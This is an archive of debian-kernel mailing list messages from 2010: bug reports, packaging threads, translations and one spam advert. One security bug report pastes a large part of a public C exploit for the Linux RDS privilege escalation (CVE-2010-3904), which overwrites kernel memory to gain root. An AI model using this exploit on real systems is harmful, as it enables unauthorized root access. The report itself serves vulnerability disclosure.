Processed: found 2.6.32-23
Processing commands for cont...@bugs.debian.org: found 566516 2.6.32-23 Bug #566516 [linux-2.6] linux-image-2.6.32-trunk-686: suspend failure in ehci_hcd There is no source info for the package 'linux-2.6' at version '2.6.32-23' with architecture '' Unable to make a source version for version '2.6.32-23' Bug Marked as found in versions 2.6.32-23. thanks Stopping processing here. Please contact me if you need assistance. -- 566516: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=566516 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems -- To UNSUBSCRIBE, email to debian-kernel-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/handler.s.c.128747619320850.transcr...@bugs.debian.org
100.000 gratis kopieen in kleur en zwart-wit
2500 € cash voor u oud kopier ! Sluit een huurcontract af voor één van onze A3 multifunctionele kleuren Ricoh toestellen en wij nemen jullie oud toestel, ongeacht in welke staat of van welke merk hij is, terug voor 2500 € die wij betalen bij ontvangst van jullie factuur. Bent u zo snel ? Bovendien bieden wij u ook alle bw kopieen gratis aan tijdens de volledige levensduur van het apparaat als u als een van de 30 snelsten reageert ! Geinteresserd ? Meer informatie ? Een aanbod op maat ? Neem contact met ons op (0800 95 598) om het te bespreken of laat uw gegevens op www.vcomm.be en we bellen u zo snel mogelijk terug. . Vcomm-Ricoh, Terhulpensesteenweg 380 - 3090 Overijse - tel.: 02 686 3030 - Fax.: 02 686 30 31 BTW : 0478 090 432 - email .: i...@vcomm.be - Web.: www.vcomm.be
Bug#599816: Nested GRE locking bug
From: Eric Dumazet eric.duma...@gmail.com Date: Thu, 14 Oct 2010 06:11:59 +0200 net-next-2.6 contains a fix for this, adding the perc_cpu xmit_recursion limit. We might push it to net-2.6 We need to think a bit more about this. We are essentially now saying that one can only configure tunnels 3 levels deep, and no more. I can guarentee you someone out there uses at least 4, perhaps more. And those people will be broken by the new limit. So putting this into net-2.6 with such a low limit will be quite dangerous. -- To UNSUBSCRIBE, email to debian-kernel-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20101019.015303.104063240.da...@davemloft.net
Bug#599816: Nested GRE locking bug
Le mardi 19 octobre 2010 à 01:53 -0700, David Miller a écrit : From: Eric Dumazet eric.duma...@gmail.com Date: Thu, 14 Oct 2010 06:11:59 +0200 net-next-2.6 contains a fix for this, adding the perc_cpu xmit_recursion limit. We might push it to net-2.6 We need to think a bit more about this. We are essentially now saying that one can only configure tunnels 3 levels deep, and no more. I can guarentee you someone out there uses at least 4, perhaps more. And those people will be broken by the new limit. So putting this into net-2.6 with such a low limit will be quite dangerous. Well limit is actually 4, but I get your point ;) -- To UNSUBSCRIBE, email to debian-kernel-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/1287478956.2676.13.ca...@edumazet-laptop
Re: alsa-firmware in firmware-linux-non-free package
On 2010-10-19 00:37, Ben Hutchings wrote: On Mon, 2010-10-18 at 23:43 +0200, Jaromír Mikeš wrote: Sorry for double posting I forgot CC pkg-alsa-devel mailing list Hi, I recently started discussion on pkg-alsa-devel mailing list that it would be nice have alsa-firmware package in Debian like other distro have (Ubuntu, 64Studio, Fedora, Arch linux). ftp://ftp.alsa-project.org/pub/firmware/alsa-firmware-1.0.23.tar.bz2 This package bringing bunch of firmware for professional sound cards like RME's multiface and digiface and many others. (emu, digigram, echoaudio etc.) These firmwares are loaded by programs like hdsploader, vxloader and others which are part of alsa-firmware-loaders package, which is already in debian. In discussion was noted that the upcoming Ubuntu 10.10 has merged alsa-firmware into linux-firmware. The question is, Should be alsa-firmware shipped in same way in Debian? http://kernel.ubuntu.com/git?p=cndougla/linux-firmware.git;a=log;h=maverick Actually, a closer look shows that this in fact did not make it into Maverick (10.10), but the actual work has been done and it seems like it will show up in Natty (11.04). Sorry for the confusion. Thank you for your comments/suggestions Debian's firmware-linux-nonfree is specifically for firmware images that used to be embedded in drivers in our kernel image packages. We generate a number of other binary packages from its source package, firmware-nonfree, and could add one or more containing the sound card firmware. However I think these firmware images should be added to the linux-firmware.git repository first, as that is the 'upstream' used as a base for most distributions that provide firmware packages. Definitely. And so I offer the same assistance to David Woodhouse as I do to you in Debian - willingness to answer questions etc, to make this happen. You are welcome to help me remind him to actually pick these things up. -- David Henningsson, Canonical Ltd. http://launchpad.net/~diwic -- To UNSUBSCRIBE, email to debian-kernel-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/4cbd607e.6000...@canonical.com
Bug#600694: [INTL:es] Updated Spanish debconf translation
Package: linux-2.6 Version: 2.6.32-25 Severity: wishlist Tags: l10n, patch Please find attached the Spanish translation for this package's debconf template. Regards, -- Omar Campagne Polaino # linux-2.6 po-debconf translation to Spanish # This file is distributed under the same license as the linux-2.6 package. # # Changes: #- Initial translation #Omar Campagne ocampa...@gmail.com 2010 #- Updates # TRANSLATOR # # Traductores, si no conocen el formato PO, merece la pena leer la # documentación de gettext, especialmente las secciones dedicadas a este # formato, por ejemplo ejecutando: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # # Equipo de traducción al español, por favor lean antes de traducir # los siguientes documentos: # # - El proyecto de traducción de Debian al español # http://www.debian.org/intl/spanish/ # especialmente las notas y normas de traducción en # http://www.debian.org/intl/spanish/notas # # - La guía de traducción de po's de debconf: # /usr/share/doc/po-debconf/README-trans # o http://www.debian.org/intl/l10n/po-debconf/README-trans # msgid msgstr Project-Id-Version: linux-2.6 2.6.32+5\n Report-Msgid-Bugs-To: \n POT-Creation-Date: 2010-10-01 10:30+0200\n PO-Revision-Date: 2010-10-10 00:00+0200\n Last-Translator: Omar Campagne ocampa...@gmail.com\n Language-Team: Debian l10n Spanish debian-l10n-span...@lists.debian.org\n Language: es\n MIME-Version: 1.0\n Content-Type: text/plain; charset=UTF-8\n Content-Transfer-Encoding: 8bit\n Plural-Forms: nplurals=2; plural=(n != 1);\n X-Generator: Virtaal 0.6.1\n #. Type: boolean #. Description #: ../linux-base.templates:2001 msgid Update disk device IDs in system configuration? msgstr ¿Desea actualizar los identificadores de los dispositivos de disco en la configuración del sistema? #. Type: boolean #. Description #: ../linux-base.templates:2001 msgid The new Linux kernel version provides different drivers for some PATA (IDE) controllers. The names of some hard disk, CD-ROM, and tape devices may change. msgstr La nueva versión del núcleo Linux proporciona controladores diferentes para algunos controladores PATA (IDE). Puede que cambien los nombres de algunos dispositivos de disco duro, disco óptico y de cinta. #. Type: boolean #. Description #: ../linux-base.templates:2001 msgid It is now recommended to identify disk devices in configuration files by label or UUID (unique identifier) rather than by device name, which will work with both old and new kernel versions. msgstr Se recomienda identificar los dispositivos de disco en los ficheros de configuración mediante la etiqueta o el UUID (identificador único), en lugar del nombre de dispositivo, lo cual funcionará con las versiones antiguas y recientes del núcleo. #. Type: boolean #. Description #: ../linux-base.templates:2001 msgid If you choose to not update the system configuration automatically, you must update device IDs yourself before the next system reboot or the system may become unbootable. msgstr Si selecciona no actualizar la configuración del sistema automáticamente, tendrá que actualizar los identificadores de dispositivo manualmente antes del siguiente arranque del sistema, o puede que el sistema no pueda arrancar. #. Type: boolean #. Description #. Type: boolean #. Description #: ../linux-base.templates:3001 ../linux-base.templates:4001 msgid Apply configuration changes to disk device IDs? msgstr ¿Desea realizar estos cambios en la configuración de los identificadores de dispositivos de disco? #. Type: boolean #. Description #: ../linux-base.templates:3001 msgid These devices will be assigned UUIDs or labels: msgstr Se van a asignar etiquetas o UUID a los siguientes dispositivos: #. Type: boolean #. Description #. Type: boolean #. Description #: ../linux-base.templates:3001 ../linux-base.templates:4001 msgid These configuration files will be updated: msgstr Se van a actualizar los siguientes ficheros de configuración: #. Type: boolean #. Description #. Type: boolean #. Description #: ../linux-base.templates:3001 ../linux-base.templates:4001 msgid The device IDs will be changed as follows: msgstr Se van a modificar los identificadores de dispositivo de la siguiente forma: #. Type: error #. Description #: ../linux-base.templates:5001 msgid Configuration files still contain deprecated device names msgstr Los ficheros de configuración aún contienen nombres obsoletos de dispositivo #. Type: error #. Description #: ../linux-base.templates:5001 msgid The following configuration files still use some device names that may change when using the new kernel: msgstr Los siguientes ficheros de configuración aún usan algunos nombres de dispositivo que pueden cambiar al usar el núcleo nuevo: #. Type: error #. Description #: ../linux-base.templates:6001 msgid Boot loader configuration check needed msgstr Se necesita comprobar la configuración del gestor de arranque #. Type: error
Re: alsa-firmware in firmware-linux-non-free package
Od: Ben Hutchings b...@decadent.org.uk On Mon, 2010-10-18 at 23:43 +0200, Jaromír Mikeš wrote: The question is, Should be alsa-firmware shipped in same way in Debian? Debian's firmware-linux-nonfree is specifically for firmware images that used to be embedded in drivers in our kernel image packages. We generate a number of other binary packages from its source package, firmware-nonfree, and could add one or more containing the sound card firmware. However I think these firmware images should be added to the linux-firmware.git repository first, as that is the 'upstream' used as a base for most distributions that provide firmware packages. Hi Ben, thank you for your answer. Can I take it as it is on your TODO list now? Or is there something more what should be done? Please let me know I am ready to get involved if needed. best regards mira -- To UNSUBSCRIBE, email to debian-kernel-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/142721.25958.43751-16459-1852634492-1287480...@seznam.cz
Bug#600453: initramfs-tools: dist-upgrade lenny-squeeze mkinitramfs: failed
On Sun, 17 Oct 2010, kurt witschi wrote: trying to dist-upgrade my orion (arm) box form lenny to squeeze i got the following error: Processing triggers for initramfs-tools ... update-initramfs: Generating /boot/initrd.img-2.6.32-2-orion5x mkinitramfs: failed to determine root device mkinitramfs: workaround is MODULES=most Error please report bug on initramfs-tools and include the output of 'mount' update-initramfs: failed for /boot/initrd.img-2.6.32-2-orion5x dpkg: error processing initramfs-tools (--configure): subprocess installed post-installation script returned error exit status 1 Processing triggers for python-support ... Errors were encountered while processing: linux-image-2.6.32-5-orion5x linux-image-2.6-orion5x initramfs-tools mount: / is busy E: Sub-process /usr/bin/dpkg returned an error code (1) I see. mount output: ~$ mount tmpfs on /lib/init/rw type tmpfs (rw,nosuid,mode=0755) proc on /proc type proc (rw,noexec,nosuid,nodev) sysfs on /sys type sysfs (rw,noexec,nosuid,nodev) procbususb on /proc/bus/usb type usbfs (rw) udev on /dev type tmpfs (rw,mode=0755) tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev) devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=620) rootfs on / type rootfs (rw) tmpfs on /tmp type tmpfs (rw,size=32m) /dev/sdb2 on /media/adata type ext2 (rw,noatime) /dev/sdb3 on /media/tbackupDrive type ext2 (rw,noatime) nfsd on /proc/fs/nfsd type nfsd (rw) aufs on / type aufs (rw) ^^^ rpc_pipefs on /var/lib/nfs/rpc_pipefs type rpc_pipefs (rw) this the line that confuses mkinitramfs could you post cat /proc/mounts of the box, maybe it should parse that if mount gives funny output. mkinitramfs expects to find your root device there and thankfully bailed out as it didn't find anything yet. Additional info: root is on a usb-flash-disk, in normal operation root is on an aufs, to prevent to many writes to the flash. for the dist-upgrade the box was booted without the bootarg aufs=tmpfs. I do not fully uderstand why root still is listed as aufs, but the writes do really hit the usb-disk (otherways dist-upgrade would have resulted in out of memory long ago). followed the url blow for the aufs-setup http://211.78.87.227/viewtopic.php?p=125219sid=92ed65a36b73f123c79fb071e58d6025 thank you very much for any help. ps: unsure if this should not have higher severety as rebooting now would porbably make the system unbootable. set to important as MODULES=dep is not default. thanks for your report. -- To UNSUBSCRIBE, email to debian-kernel-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20101019104533.ga5...@stro.at
Bug#600697: unable to enumerate USB device
Severity: important Package: linux-image Version: 2.6.32-5-amd64 I'm using debian testing, 2.6.32-5-amd64 on acer aspire 5520g and i had this error hub 4-0:1.0: unable to enumerate USB device on port 2 so i did modprobe -r ehci_hcd and now i have hub 2-0:1.0: unable to enumerate USB device on port 6. dmesg show me this error in loop, the performace of this laptop are really compromised
Processed: Re: Bug#600697: unable to enumerate USB device
Processing commands for cont...@bugs.debian.org: reassign 600697 linux-2.6 Bug #600697 [linux-image] unable to enumerate USB device Warning: Unknown package 'linux-image' Bug reassigned from package 'linux-image' to 'linux-2.6'. Bug No longer marked as found in versions 2.6.32-5-amd64. -- Stopping processing here. Please contact me if you need assistance. -- 600697: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=600697 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems -- To UNSUBSCRIBE, email to debian-kernel-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/handler.s.c.128748587212230.transcr...@bugs.debian.org
Re: alsa-firmware in firmware-linux-non-free package
On 2010-10-19 12:31, David Woodhouse wrote: On Tue, 2010-10-19 at 10:10 +0100, David Henningsson wrote: However I think these firmware images should be added to the linux-firmware.git repository first, as that is the 'upstream' used as a base for most distributions that provide firmware packages. Definitely. And so I offer the same assistance to David Woodhouse as I do to you in Debian - willingness to answer questions etc, to make this happen. You are welcome to help me remind him to actually pick these things up. Where do I pick them up from? The git tree referenced above seems to add to a 'WHENCE.ubuntu' file instead of the main WHENCE file. Oh. The idea was to keep the firmwares you haven't picked up in WHENCE.ubuntu, in order to make merging easier for us during that transition period. Just making a commit that puts all information that is now in WHENCE.ubuntu into WHENCE is not hard, so let me know if you need help with that. I'm also thinking of moving to something based on http://wiki.debian.org/Proposals/CopyrightFormat and adding extra metadata about the earliest/latest kernels for which any given firmware file is relevant, as well as a simple 'build' system. Okay. I don't have much opinion on that matter, but if you decide to do so, I'm certain that we will follow your conventions for future additions and contributions to linux-firmware. -- David Henningsson, Canonical Ltd. http://launchpad.net/~diwic -- To UNSUBSCRIBE, email to debian-kernel-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/4cbd78a9.4040...@canonical.com
Re: alsa-firmware in firmware-linux-non-free package
On Tue, 2010-10-19 at 10:10 +0100, David Henningsson wrote: However I think these firmware images should be added to the linux-firmware.git repository first, as that is the 'upstream' used as a base for most distributions that provide firmware packages. Definitely. And so I offer the same assistance to David Woodhouse as I do to you in Debian - willingness to answer questions etc, to make this happen. You are welcome to help me remind him to actually pick these things up. Where do I pick them up from? The git tree referenced above seems to add to a 'WHENCE.ubuntu' file instead of the main WHENCE file. I'm also thinking of moving to something based on http://wiki.debian.org/Proposals/CopyrightFormat and adding extra metadata about the earliest/latest kernels for which any given firmware file is relevant, as well as a simple 'build' system. -- David WoodhouseOpen Source Technology Centre david.woodho...@intel.com Intel Corporation -- To UNSUBSCRIBE, email to debian-kernel-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/1287484275.15412.11.ca...@i7.infradead.org
Processed: tagging 600155
Processing commands for cont...@bugs.debian.org: # Automatically generated email from bts, devscripts version 2.10.35lenny7 tags 600155 + pending Bug #600155 [linux-2.6] linux-image-2.6.32-5-486: Kernel panic on avahi-daemon IPv6 activity Added tag(s) pending. End of message, stopping processing here. Please contact me if you need assistance. -- 600155: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=600155 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems -- To UNSUBSCRIBE, email to debian-kernel-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/handler.s.c.12874901387750.transcr...@bugs.debian.org
Processed: tagging 600155
Processing commands for cont...@bugs.debian.org: # Automatically generated email from bts, devscripts version 2.10.35lenny7 tags 600155 + pending Bug #600155 [linux-2.6] linux-image-2.6.32-5-486: Kernel panic on avahi-daemon IPv6 activity Ignoring request to alter tags of bug #600155 to the same tags previously set End of message, stopping processing here. Please contact me if you need assistance. -- 600155: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=600155 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems -- To UNSUBSCRIBE, email to debian-kernel-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/handler.s.c.128749056810538.transcr...@bugs.debian.org
Bug#600453: /proc/mounts
thanks for looking into this! As requested i provide output from cat /proc/mounts # cat /proc/mounts rootfs / rootfs rw 0 0 none /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0 none /proc proc rw,nosuid,nodev,noexec,relatime 0 0 udev /dev tmpfs rw,relatime,size=10240k,mode=755 0 0 /dev/sda1 / ext2 rw,relatime,errors=continue 0 0 tmpfs /lib/init/rw tmpfs rw,nosuid,relatime,mode=755 0 0 usbfs /proc/bus/usb usbfs rw,nosuid,nodev,noexec,relatime 0 0 tmpfs /dev/shm tmpfs rw,nosuid,nodev,relatime 0 0 devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000 0 0 tmpfs /tmp tmpfs rw,relatime,size=32768k 0 0 /dev/sdb2 /media/adata ext2 rw,noatime,errors=continue 0 0 /dev/sdb3 /media/tbackupDrive ext2 rw,noatime,errors=continue 0 0 nfsd /proc/fs/nfsd nfsd rw,relatime 0 0 rpc_pipefs /var/lib/nfs/rpc_pipefs rpc_pipefs rw,relatime 0 0 best regards -- GRATIS! Movie-FLAT mit über 300 Videos. Jetzt freischalten unter http://portal.gmx.net/de/go/maxdome -- To UNSUBSCRIBE, email to debian-kernel-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20101019162628.304...@gmx.net
Bug#600453: /proc/mounts
On Tue, Oct 19, 2010 at 06:26:28PM +0200, tm...@gmx.net wrote: thanks for looking into this! As requested i provide output from cat /proc/mounts thank you for the quick response, could you please test the following snapshot built: http://charm.itp.tuwien.ac.at/~mattems/initramfs-tools_0.98.5~1.gbpcf5fb6_all.deb it has the following sha512sum: 97779c643f0efbeb019eb4402eb62ca415aae99b02706b8d initramfs-tools_0.98.5~1.gbpcf5fb6_all.deb should fix the reported issue, double checked on the provided /proc/mounts output. not sure if it will run in some other trouble? let's see. thanks for reporting back. -- To UNSUBSCRIBE, email to debian-kernel-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20101019172519.gd8...@vostochny.stro.at
Bug#600757: linux-2.6: Linux RDS Protocol Local Privilege Escalation
Package: linux-2.6
Version: 2.6.32-5-686
Severity: critical
Tags: security
Justification: root security hole
There is a security hole in all versions of linux-2.6 distributed by Debian.
The attached exploit code can be used to test if a kernel is vulnerable,
it starts a root shell.
I test it in Debian Squeeze, a screenshot can be found in
http://i56.tinypic.com/2nh19v6.png
--
Juan Angulo Moreno
/*
* Linux Kernel = 2.6.36-rc8 RDS privilege escalation exploit
* CVE-2010-3904
* by Dan Rosenberg drosenb...@vsecurity.com
*
* Copyright 2010 Virtual Security Research, LLC
*
* The handling functions for sending and receiving RDS messages
* use unchecked __copy_*_user_inatomic functions without any
* access checks on user-provided pointers. As a result, by
* passing a kernel address as an iovec base address in recvmsg-style
* calls, a local user can overwrite arbitrary kernel memory, which
* can easily be used to escalate privileges to root. Alternatively,
* an arbitrary kernel read can be performed via sendmsg calls.
*
* This exploit is simple - it resolves a few kernel symbols,
* sets the security_ops to the default structure, then overwrites
* a function pointer (ptrace_traceme) in that structure to point
* to the payload. After triggering the payload, the original
* value is restored. Hard-coding the offset of this function
* pointer is a bit inelegant, but I wanted to keep it simple and
* architecture-independent (i.e. no inline assembly).
*
* The vulnerability is yet another example of why you shouldn't
* allow loading of random packet families unless you actually
* need them.
*
* Greets to spender, kees, taviso, hawkes, team lollerskaters,
* joberheide, bla, sts, and VSR
*
*/
#include stdio.h
#include unistd.h
#include stdlib.h
#include fcntl.h
#include sys/types.h
#include sys/socket.h
#include netinet/in.h
#include errno.h
#include string.h
#include sys/ptrace.h
#include sys/utsname.h
#define RECVPORT
#define SENDPORT
int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s 0) {
printf([*] Could not open socket.\n);
exit(-1);
}
memset(addr, 0, sizeof(addr));
addr.sin_addr.s_addr = inet_addr(127.0.0.1);
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
ret = bind(s, (struct sockaddr *)addr, sizeof(addr));
if(ret 0) {
printf([*] Could not bind socket.\n);
exit(-1);
}
return s;
}
void get_message(unsigned long address, int sock)
{
recvfrom(sock, (void *)address, sizeof(void *), 0,
NULL, NULL);
}
void send_message(unsigned long value, int sock)
{
int size, ret;
struct sockaddr_in recvaddr;
struct msghdr msg;
struct iovec iov;
unsigned long buf;
memset(recvaddr, 0, sizeof(recvaddr));
size = sizeof(recvaddr);
recvaddr.sin_port = htons(RECVPORT);
recvaddr.sin_family = AF_INET;
recvaddr.sin_addr.s_addr = inet_addr(127.0.0.1);
memset(msg, 0, sizeof(msg));
msg.msg_name = recvaddr;
msg.msg_namelen = sizeof(recvaddr);
msg.msg_iovlen = 1;
buf = value;
iov.iov_len = sizeof(buf);
iov.iov_base = buf;
msg.msg_iov = iov;
ret = sendmsg(sock, msg, 0);
if(ret 0) {
printf([*] Something went wrong sending.\n);
exit(-1);
}
}
void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock)
{
if(!fork()) {
sleep(1);
send_message(value, sendsock);
exit(1);
}
else {
get_message(addr, recvsock);
wait(NULL);
}
}
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
f = fopen(/proc/kallsyms, r);
if (f == NULL) {
f = fopen(/proc/ksyms, r);
if (f == NULL)
goto fallback;
oldstyle = 1;
}
repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, %p %c %s\n, (void **)addr, dummy, sname);
else {
ret = fscanf(f, %p %s\n, (void **)addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, _O/) || strstr(sname, _S.))
continue;
p = strrchr(sname, '_');
if (p ((char *)sname + 5) !strncmp(p - 3, smp, 3)) {
p = p - 4;
while (p (char *)sname *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, %s\n, sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, [+] Resolved %s to %p%s\n, name, (void *)addr, rep ? (via System.map) : );
fclose(f);
return addr;
}
}
fclose(f);
if (rep)
return 0;
fallback:
/* didn't find the symbol, let's retry with the System.map
dedicated to the
Bug#600453: (no subject)
Thanks for the quick response! my sha512sum says # sha512sum initramfs-tools_0.98.5~1.gbpcf5fb6_all.deb f0dd4af56ac9713027543ba4c1beb62edc7c306575c2f65d8a1b62daf1a26cbe58607fd95c6203c197779c643f0efbeb019eb4402eb62ca415aae99b02706b8d initramfs-tools_0.98.5~1.gbpcf5fb6_all.deb so the later part is identical to your provides sum. Is it costumary to only use part of the hash? Anyhow back to the topic: I tried your deb with the following result: update-initramfs: Generating /boot/initrd.img-2.6.32-2-orion5x readlink: fehlender Operand „readlink --help“ gibt weitere Informationen. Warning: /etc/fstab parse error; guessing that the root device is /dev/sda2 Press Ctrl-C to abort build, or Enter to continue read: 143: arg count Generating kernel u-boot image... done. Flashing kernel... done. Flashing initramfs... done. so it did indeed do something but the guess /dev/sda2 looks wrong. I would expect /dev/sda1 best regards -- GRATIS! Movie-FLAT mit über 300 Videos. Jetzt freischalten unter http://portal.gmx.net/de/go/maxdome -- To UNSUBSCRIBE, email to debian-kernel-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20101019191801.72...@gmx.net
Processed: notfound 600757 in 2.6.32-5-686, found 600757 in 2.6.32-25
Processing commands for cont...@bugs.debian.org: notfound 600757 2.6.32-5-686 Bug #600757 [linux-2.6] linux-2.6: Linux RDS Protocol Local Privilege Escalation There is no source info for the package 'linux-2.6' at version '2.6.32-5-686' with architecture '' Unable to make a source version for version '2.6.32-5-686' Bug No longer marked as found in versions 2.6.32-5-686. found 600757 2.6.32-25 Bug #600757 [linux-2.6] linux-2.6: Linux RDS Protocol Local Privilege Escalation There is no source info for the package 'linux-2.6' at version '2.6.32-25' with architecture '' Unable to make a source version for version '2.6.32-25' Bug Marked as found in versions 2.6.32-25. thanks Stopping processing here. Please contact me if you need assistance. -- 600757: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=600757 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems -- To UNSUBSCRIBE, email to debian-kernel-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/handler.s.c.128751589524791.transcr...@bugs.debian.org
Bug#600453: /etc/fstab
forgot to add /etc/fstab # cat /etc/fstab # # RootAufs has mounted the root file system in ram # # This fstab is in ram and the real fstab can be found /ro/etc/fstab # the root file system ' / ' has been removed. # the proc file system has been removed, because bug #425199. # All Swap files have been removed. # # /etc/fstab: static file system information. # # file system mount point type options dump pass tmpfs /tmp tmpfs defaults,size=32m 0 0 LABEL=adata /media/adata/ ext2 defaults,noatime 0 0 LABEL=tbackupDrive /media/tbackupDrive/ ext2 defaults,noatime 0 0 # /dev/sda1 /ro ext2 rw,relatime,errors=continue,noauto 0 0 UUID=0c940d67-bfca-4a7b-875f-747c7e09d64d /ro ext2 rw,relatime,errors=continue,noauto 0 0 and: #cat /ro/etc/fstab cat: /ro/etc/fstab: File not found - so I guess it is all my fault... -- Neu: GMX De-Mail - Einfach wie E-Mail, sicher wie ein Brief! Jetzt De-Mail-Adresse reservieren: http://portal.gmx.net/de/go/demail -- To UNSUBSCRIBE, email to debian-kernel-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20101019192400.93...@gmx.net
Bug#600757: Possible Fix
tag 600757 pending thanks It is patch can fix: http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=799c10559d60f159ab2232203f222f18fa3c4a5f -- Juan Angulo Moreno -- To UNSUBSCRIBE, email to debian-kernel-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/aanlkti=e-pt-p27pe5lykjgmoftyjxl0f5c7cihnb...@mail.gmail.com
Bug#600453: (no subject)
On Tue, Oct 19, 2010 at 09:18:01PM +0200, tm...@gmx.net wrote: Thanks for the quick response! my sha512sum says # sha512sum initramfs-tools_0.98.5~1.gbpcf5fb6_all.deb f0dd4af56ac9713027543ba4c1beb62edc7c306575c2f65d8a1b62daf1a26cbe58607fd95c6203c197779c643f0efbeb019eb4402eb62ca415aae99b02706b8d initramfs-tools_0.98.5~1.gbpcf5fb6_all.deb so the later part is identical to your provides sum. Is it costumary to only use part of the hash? ok sorry was a paste error of my side, on the run.. Anyhow back to the topic: I tried your deb with the following result: update-initramfs: Generating /boot/initrd.img-2.6.32-2-orion5x readlink: fehlender Operand „readlink --help“ gibt weitere Informationen. Warning: /etc/fstab parse error; guessing that the root device is /dev/sda2 well update-initramfs does not parse fstab this is probably flash-kernel? (adding tbm to cc, for him to check) Press Ctrl-C to abort build, or Enter to continue read: 143: arg count Generating kernel u-boot image... done. Flashing kernel... done. Flashing initramfs... done. so it did indeed do something but the guess /dev/sda2 looks wrong. I would expect /dev/sda1 thanks for quick check which looks at first sight good for initramfs-tools. -- To UNSUBSCRIBE, email to debian-kernel-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20101019193601.ge8...@vostochny.stro.at
Bug#600757: marked as done (linux-2.6: Linux RDS Protocol Local Privilege Escalation)
Your message dated Tue, 19 Oct 2010 13:47:39 -0600
with message-id 20101019194739.gb3...@lackof.org
and subject line closing
has caused the Debian Bug report #600757,
regarding linux-2.6: Linux RDS Protocol Local Privilege Escalation
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)
--
600757: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=600757
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
---BeginMessage---
Package: linux-2.6
Version: 2.6.32-5-686
Severity: critical
Tags: security
Justification: root security hole
There is a security hole in all versions of linux-2.6 distributed by Debian.
The attached exploit code can be used to test if a kernel is vulnerable,
it starts a root shell.
I test it in Debian Squeeze, a screenshot can be found in
http://i56.tinypic.com/2nh19v6.png
--
Juan Angulo Moreno
/*
* Linux Kernel = 2.6.36-rc8 RDS privilege escalation exploit
* CVE-2010-3904
* by Dan Rosenberg drosenb...@vsecurity.com
*
* Copyright 2010 Virtual Security Research, LLC
*
* The handling functions for sending and receiving RDS messages
* use unchecked __copy_*_user_inatomic functions without any
* access checks on user-provided pointers. As a result, by
* passing a kernel address as an iovec base address in recvmsg-style
* calls, a local user can overwrite arbitrary kernel memory, which
* can easily be used to escalate privileges to root. Alternatively,
* an arbitrary kernel read can be performed via sendmsg calls.
*
* This exploit is simple - it resolves a few kernel symbols,
* sets the security_ops to the default structure, then overwrites
* a function pointer (ptrace_traceme) in that structure to point
* to the payload. After triggering the payload, the original
